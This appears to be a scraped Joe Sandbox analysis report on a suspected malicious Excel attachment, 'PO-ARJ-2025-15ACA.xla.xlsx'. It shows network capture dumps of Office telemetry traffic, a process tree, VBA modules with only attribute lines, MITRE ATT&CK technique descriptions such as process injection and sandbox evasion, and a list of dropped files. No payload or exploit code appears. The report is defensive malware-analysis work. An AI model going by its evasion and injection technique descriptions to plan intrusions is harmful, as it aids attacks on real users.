T="GT"> <L> <S T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R> </O> </L> <R> <O T="LE"> <
2025-03-15 07:55:55 UTC	16384	IN	Data Raw: 20 49 3d 22 32 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 34 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 4f 76 65 72 66 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 Data Ascii: I="22" O="false" N="FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C> </C> <C T="U32" I="24" O="false" N="FlyoutOverflow"> <C> <S T
2025-03-15 07:55:55 UTC	16384	IN	Data Raw: 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 3d 22 31 30 30 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 45 74 77 20 54 3d 22 31 22 20 45 3d 22 33 39 35 22 20 47 3d 22 7b 32 61 64 66 38 65 32 33 2d 30 61 66 39 2d Data Ascii: coding="utf-8"?><R Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S="100" DCa="PSU" xmlns=""> <S> <Etw T="1" E="395" G="{2adf8e23-0af9-
2025-03-15 07:55:55 UTC	16384	IN	Data Raw: 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 55 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 Data Ascii: "TelemetryShutdown" /> <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R> <V V="0" T="U64" /> </R> </O> </F> </S> <C T="U
2025-03-15 07:55:55 UTC	16384	IN	Data Raw: 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 74 63 69 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <L> <S T="4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <L> <S T="5" F="tcid" /> </L> <R> <V
2025-03-15 07:55:55 UTC	16384	IN	Data Raw: 0d 0a 20 20 20 20 3c 46 20 54 3d 22 31 30 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 4f 66 54 68 72 6f 77 6e 45 78 63 65 70 74 69 6f 6e 22 3e 0d Data Ascii: <F T="10"> <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="CountOfThrownException">
2025-03-15 07:55:55 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 Data Ascii: <S T="5" F="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O> </L> <R> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49742	13.107.246.60	443	7940	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-15 07:56:01 UTC	214	OUT	GET /rules/rule120603v8s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-15 07:56:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 15 Mar 2025 07:56:01 GMT Content-Type: text/xml Content-Length: 2128 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA41F3C62" x-ms-request-id: cf00022c-201e-0096-2759-95ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250315T075601Z-186895dd8bdfdfmphC1EWRy11n00000002r000000000265d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-15 07:56:01 UTC	2128	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 33 22 20 56 3d 22 38 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 64 64 69 74 69 6f 6e 61 6c 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 45 3d 22 66 61 6c 73 65 22 20 44 4c 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120603" V="8" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAdditional" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" E="false" DL=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49743	13.107.246.60	443	7940	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-15 07:56:01 UTC	214	OUT	GET /rules/rule120607v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-15 07:56:01 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 15 Mar 2025 07:56:01 GMT Content-Type: text/xml Content-Length: 204 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6C8527A" x-ms-request-id: c0f87a84-101e-0017-0c46-9547c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250315T075601Z-186895dd8bd2pt9jhC1EWRh02c00000005rg000000004qhw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-15 07:56:01 UTC	204	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 37 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 45 52 3d 22 31 32 30 36 30 33 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 62 70 7a 73 22 20 41 3d 22 39 34 30 74 63 20 39 78 35 6a 73 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120607" V="1" DC="SM" T="Subrule" ER="120603" xmlns=""> <S> <UTS T="1" Id="bbpzs" A="940tc 9x5js" /> </S> <T> <S T="1" /> </T></R>

Target ID:	0
Start time:	03:54:44
Start date:	15/03/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x190000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:55:48
Start date:	15/03/2025
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff7b4a30000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:55:59
Start date:	15/03/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\user\Desktop\PO-ARJ-2025-15ACA.xla.xlsx"
Imagebase:	0x190000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO-ARJ-2025-15ACA.xla.xlsx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\Users\user\AppData\Local\Temp\79956251.tmp

C:\Users\user\AppData\Local\Temp\~DF7FA1D1F7291B08D0.TMP

C:\Users\user\AppData\Local\Temp\~DFF57BF76A122B0A7C.TMP

C:\Users\user\Desktop\F0230000

C:\Users\user\Desktop\F0230000:Zone.Identifier

C:\Users\user\Desktop\PO-ARJ-2025-15ACA.xla.xls (copy)

C:\Users\user\Desktop\~$PO-ARJ-2025-15ACA.xla.xlsx

Static File Info

General

File Icon

Static OLE Info

General

OLE File "PO-ARJ-2025-15ACA.xla.xlsx"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Sheet1.cls, Stream Size: 977

General

VBA Code

VBA File Name: Sheet2.cls, Stream Size: 977

General

VBA Code

VBA File Name: Sheet3.cls, Stream Size: 977

General

VBA Code

Windows Analysis Report
PO-ARJ-2025-15ACA.xla.xlsx